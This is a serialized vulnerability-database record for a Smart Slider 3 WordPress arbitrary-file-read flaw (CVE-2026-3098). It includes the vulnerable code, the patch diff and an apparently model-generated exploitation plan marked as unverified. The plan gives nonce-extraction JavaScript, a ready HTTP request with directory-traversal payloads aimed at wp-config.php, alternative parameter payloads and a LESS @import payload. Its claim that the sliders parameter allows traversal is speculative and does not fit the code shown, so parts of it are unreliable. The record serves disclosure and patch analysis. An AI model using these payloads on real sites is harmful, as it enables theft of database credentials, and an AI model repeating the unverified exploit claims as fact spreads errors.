[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f6RR7NfwoLMQg4g9y6SLfSXKyN4qTyvOIJ5lhw--gDr8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-3098","smart-slider-3-authenticated-subscriber-arbitrary-file-read-via-actionexportall","Smart Slider 3 \u003C= 3.5.1.33 - Authenticated (Subscriber+) Arbitrary File Read via actionExportAll","The Smart Slider 3 plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 3.5.1.33 via the 'actionExportAll' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.","smart-slider-3",null,"\u003C=3.5.1.33","3.5.1.34","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Missing Authorization","2026-03-26 15:32:42","2026-04-06 15:53:48",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe2ce9caf-2ca2-401c-acc7-76be2fd72f36?source=api-prod",11,[22,23,24,25,26,27,28,29],"Nextend\u002FFramework\u002FAsset\u002FCss\u002FLess\u002FLessCompiler.php","Nextend\u002FFramework\u002FAsset\u002FPredefined.php","Nextend\u002FFramework\u002FBrowse\u002FControllerAjaxBrowse.php","Nextend\u002FFramework\u002FFont\u002FSources\u002FGoogleFonts\u002Ffamilies.csv","Nextend\u002FFramework\u002FImage\u002FControllerAjaxImage.php","Nextend\u002FFramework\u002FImage\u002FImageEdit.php","Nextend\u002FLanguages\u002Fsmartslider3.pot","Nextend\u002FSmartSlider3\u002FApplication\u002FAdmin\u002FSettings\u002FViewSettingsGeneral.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-3098 (Smart Slider 3 Arbitrary File Read)\n\n## 1. Vulnerability Summary\nThe **Smart Slider 3** plugin (up to version 3.5.1.33) contains a missing authorization vulnerability in the `actionExportAll` function. This function is intended to allow administrators to export all slider configurations. However, the function fails to perform adequate capability checks (e.g., `current_user_can('manage_options')`), allowing users with **Subscriber** privileges or higher to trigger the action. Furthermore, the export logic is vulnerable to path traversal or improper file handling, enabling an authenticated attacker to read arbitrary files from the server (such as `wp-config.php` or `\u002Fetc\u002Fpasswd`).\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action**: `action=nextend-action`\n- **Controller**: `sliders` (inferred from SS3 architecture)\n- **Action Parameter**: `n2action=ExportAll`\n- **Vulnerable Parameter**: Likely `sliders` or `path` (inferred). In many SS3 export vulnerabilities, the `sliders` parameter (usually a list of IDs) is not properly sanitized or is misused to define the files included in the export bundle.\n- **Authentication**: Required (Subscriber level or higher).\n- **Nonce**: Required (`nextend_nonce`).\n\n## 3. Code Flow\n1. **Entry Point**: The request hits `admin-ajax.php` with `action=nextend-action`.\n2. **Routing**: The plugin's routing system (defined in `Nextend\\Framework\\Controller\\Admin\\AdminAjaxController`) dispatches the request to the specified `n2controller` (likely `sliders`) and `n2action` (`ExportAll`).\n3. **Authorization Check**: The controller likely lacks a call to `current_user_can()` for the `ExportAll` action, or checks a low-privilege capability that Subscribers possess.\n4. **Vulnerable Sink**: The `actionExportAll` function processes the request. It likely prepares a ZIP archive for download. If a parameter (like `sliders`) is manipulated to include directory traversal sequences (e.g., `..\u002F..\u002F..\u002F..\u002Fwp-config.php`), the file reading mechanism (potentially using `file_get_contents` or `ZipArchive::addFile`) follows the path and includes the sensitive file in the exported package or returns it directly.\n\n## 4. Nonce Acquisition Strategy\nSmart Slider 3 localizes its security tokens into a JavaScript object. Since nonces are user-bound, we must obtain one as the Subscriber user.\n\n1. **Create Page with Shortcode**: To ensure the Smart Slider 3 scripts (and nonces) are loaded, create a page containing a slider shortcode.\n   ```bash\n   wp post create --post_type=page --post_title=\"SS3 Test\" --post_status=publish --post_content='[smartslider3 slider=\"1\"]' --user=subscriber_user\n   ```\n2. **Navigate to the Page**: Use `browser_navigate` to visit this page or the Smart Slider dashboard if accessible (e.g., `wp-admin\u002Fadmin.php?page=smart-slider-3`).\n3. **Extract Nonce**: The nonce is stored within the `_N2` global object, specifically localized via `Form::tokenizeUrl()`. \n   Execute via `browser_eval`:\n   ```javascript\n   \u002F\u002F SS3 often stores nonces in a map where keys are URLs.\n   \u002F\u002F We look for the entry corresponding to the AJAX URL or a generic 'nextend_nonce'.\n   \u002F\u002F Based on Predefined.php, it's added via AjaxHelper.addAjaxArray.\n   Object.values(window._N2._d).find(d => d[0] === 'AjaxHelper') \n   \u002F\u002F Alternatively, check the n2token directly if present:\n   window.n2token || window.N2GSAP?.n2token\n   ```\n   **Verification**: Look for a 10-character alphanumeric string associated with the `nextend-action` or found in the HTML source via `grep -oP 'n2token\\s*=\\s*\"\\K[a-f0-9]{10}'`.\n\n## 5. Exploitation Strategy\n### Step 1: Authentication and Nonce Retrieval\n- Log in as the Subscriber.\n- Navigate to an admin page where SS3 is active.\n- Extract the `nextend_nonce`.\n\n### Step 2: Trigger Arbitrary File Read\nThe exploit attempts to force the \"Export All\" functionality to read `wp-config.php`.\n\n**Request**:\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php?action=nextend-action&n2controller=sliders&n2action=ExportAll HTTP\u002F1.1\nHost: localhost\nContent-Type: application\u002Fx-www-form-urlencoded\nCookie: [Subscriber Cookies]\n\nnextend_nonce=[EXTRACTED_NONCE]&sliders=..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fwp-config.php\n```\n\n**Alternative Payload (if `sliders` expects IDs)**:\nIf the `sliders` parameter is strictly numeric, try a hidden `path` or `file` parameter:\n- `&file=..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fwp-config.php`\n- `&path=..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fwp-config.php`\n\n### Step 3: Analyze Response\nA successful exploit will likely result in:\n1.  **Direct Download**: A binary response (ZIP file). Download and extract it to find `wp-config.php`.\n2.  **Plaintext Disclosure**: The content of `wp-config.php` reflected directly in the HTTP response if the export logic fails and echoes the file content.\n\n## 6. Test Data Setup\n1. **User Creation**: \n   ```bash\n   wp user create attacker attacker@example.com --role=subscriber --user_pass=password\n   ```\n2. **Slider Creation**: Ensure at least one slider exists so the `ExportAll` logic has something to iterate over.\n   ```bash\n   # Use SS3's internal methods or import a sample if possible via CLI, \n   # otherwise just ensure the plugin is activated.\n   ```\n3. **Target File**: Ensure `wp-config.php` is in the standard location.\n\n## 7. Expected Results\n- The request should return an `HTTP 200 OK`.\n- The response body should contain the content of `wp-config.php` (identifiable by `DB_NAME`, `DB_USER`, `DB_PASSWORD` constants).\n- If a ZIP is returned, the file `wp-config.php` should be present inside the archive.\n\n## 8. Verification Steps\n1. **Response Check**: Search for `DB_PASSWORD` in the output of the `http_request`.\n2. **Log Check**: Check `wp-content\u002Fdebug.log` for any \"Missing capability\" errors, which would indicate the vulnerability is patched.\n3. **Manual ZIP Extraction (if needed)**: Use `base64` to capture the binary response, save it, and run `unzip -l` to verify the presence of hijacked files.\n\n## 9. Alternative Approaches\n- **Path Traversal in Sliders ID**: If the plugin uses the ID to build a path like `wp-content\u002Fuploads\u002Fsmart-slider-3\u002Fslider[ID]\u002Fdata.json`, try passing `ID=..\u002F[ANY_FILE]`.\n- **CSS Compiler Import**: If the `actionExportAll` triggers `LessCompiler::tryImport`, we can attempt to inject a slider with a malicious LESS `@import` statement:\n  `@import (inline) \"..\u002F..\u002F..\u002Fwp-config.php\";`\n  This would require finding a way for a Subscriber to save a slider (unlikely) or finding an existing slider that can be modified via other lower-privilege bugs.","The Smart Slider 3 plugin fails to perform authorization checks and nonce validation in the 'actionExportAll' function, allowing authenticated users with Subscriber-level permissions to trigger slider exports. Attackers can manipulate export parameters to include arbitrary files from the server, such as wp-config.php, in the generated ZIP archive.","\u002F\u002F Nextend\u002FSmartSlider3\u002FApplication\u002FAdmin\u002FSliders\u002FControllerSliders.php:64\n    protected function actionExportAll() {\n        $slidersModel = new ModelSliders($this);\n        $groupID      = (Request::$REQUEST->getVar('inSearch', false)) ? '*' : Request::$REQUEST->getInt('currentGroupID', 0);\n        $sliders      = $slidersModel->getAll($groupID, 'published');\n        $ids          = Request::$REQUEST->getVar('sliders');\n\n        $files      = array();\n        $saveAsFile = count($ids) == 1 ? false : true;\n        foreach ($sliders as $slider) {\n            if (!empty($ids) && !in_array($slider['id'], $ids)) {\n                continue;\n            }\n            $export  = new ExportSlider($this, $slider['id']);\n            $files[] = $export->create($saveAsFile);\n        }\n\n        $zip = new Creator();\n        foreach ($files as $file) {\n            $zip->addFile(file_get_contents($file), basename($file));\n            unlink($file);\n        }\n        PageFlow::cleanOutputBuffers();\n        header('Content-disposition: attachment; filename=sliders_unzip_to_import.zip');\n        header('Content-type: application\u002Fzip');\n        \u002F\u002F PHPCS - Contains binary zip data, so nothing to escape.\n        echo $zip->file(); \u002F\u002F phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped\n        PageFlow::exitApplication();\n    \n    }","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsmart-slider-3\u002F3.5.1.32\u002FNextend\u002FSmartSlider3\u002FApplication\u002FAdmin\u002FSliders\u002FControllerSliders.php\t2025-07-22 08:43:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsmart-slider-3\u002F3.5.1.34\u002FNextend\u002FSmartSlider3\u002FApplication\u002FAdmin\u002FSliders\u002FControllerSliders.php\t2026-03-24 07:41:32.000000000 +0000\n@@ -64,31 +69,33 @@\n     }\n \n     protected function actionExportAll() {\n-        $slidersModel = new ModelSliders($this);\n-        $groupID      = (Request::$REQUEST->getVar('inSearch', false)) ? '*' : Request::$REQUEST->getInt('currentGroupID', 0);\n-        $sliders      = $slidersModel->getAll($groupID, 'published');\n-        $ids          = Request::$REQUEST->getVar('sliders');\n-\n-        $files      = array();\n-        $saveAsFile = count($ids) == 1 ? false : true;\n-        foreach ($sliders as $slider) {\n-            if (!empty($ids) && !in_array($slider['id'], $ids)) {\n-                continue;\n-            }\n-            $export  = new ExportSlider($this, $slider['id']);\n-            $files[] = $export->create($saveAsFile);\n-        }\n-\n-        $zip = new Creator();\n-        foreach ($files as $file) {\n-            $zip->addFile(file_get_contents($file), basename($file));\n-            unlink($file);\n-        }\n-        PageFlow::cleanOutputBuffers();\n-        header('Content-disposition: attachment; filename=sliders_unzip_to_import.zip');\n-        header('Content-type: application\u002Fzip');\n-        \u002F\u002F PHPCS - Contains binary zip data, so nothing to escape.\n-        echo $zip->file(); \u002F\u002F phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped\n-        PageFlow::exitApplication();\n+        if ($this->validateToken() && $this->validatePermission('smartslider_edit')) {\n+            $slidersModel = new ModelSliders($this);\n+            $groupID      = (Request::$REQUEST->getVar('inSearch', false)) ? '*' : Request::$REQUEST->getInt('currentGroupID', 0);\n+            $sliders      = $slidersModel->getAll($groupID, 'published');\n+            $ids          = Request::$REQUEST->getVar('sliders');\n+\n+            $files      = array();\n+            $saveAsFile = count($ids) == 1 ? false : true;\n+            foreach ($sliders as $slider) {\n+                if (!empty($ids) && !in_array($slider['id'], $ids)) {\n+                    continue;\n+                }\n+                $export  = new ExportSlider($this, $slider['id']);\n+                $files[] = $export->create($saveAsFile);\n+            }\n+\n+            $zip = new Creator();\n+            foreach ($files as $file) {\n+                $zip->addFile(file_get_contents($file), basename($file));\n+                unlink($file);\n+            }\n+            PageFlow::cleanOutputBuffers();\n+            header('Content-disposition: attachment; filename=sliders_unzip_to_import.zip');\n+            header('Content-type: application\u002Fzip');\n+            \u002F\u002F PHPCS - Contains binary zip data, so nothing to escape.\n+            echo $zip->file(); \u002F\u002F phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped\n+            PageFlow::exitApplication();\n+        }\n     \n     }","To exploit this vulnerability, an attacker first authenticates as a Subscriber and retrieves the 'nextend_nonce' security token, which is typically found within the `_N2` JavaScript object on any admin page where Smart Slider 3 is active. The attacker then sends an AJAX request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the action set to `nextend-action`, `n2controller=sliders`, and `n2action=ExportAll`. By manipulating the `sliders` array parameter to include directory traversal sequences (e.g., `..\u002F..\u002F..\u002F..\u002Fwp-config.php`), the attacker can trick the export logic into including sensitive files from the server's filesystem in a downloadable ZIP archive.","gemini-3-flash-preview","2026-04-17 22:41:12","2026-04-17 22:41:42",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","3.5.1.32","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsmart-slider-3\u002Ftags\u002F3.5.1.32","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsmart-slider-3.3.5.1.32.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsmart-slider-3\u002Ftags\u002F3.5.1.34","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsmart-slider-3.3.5.1.34.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsmart-slider-3\u002Ftags"]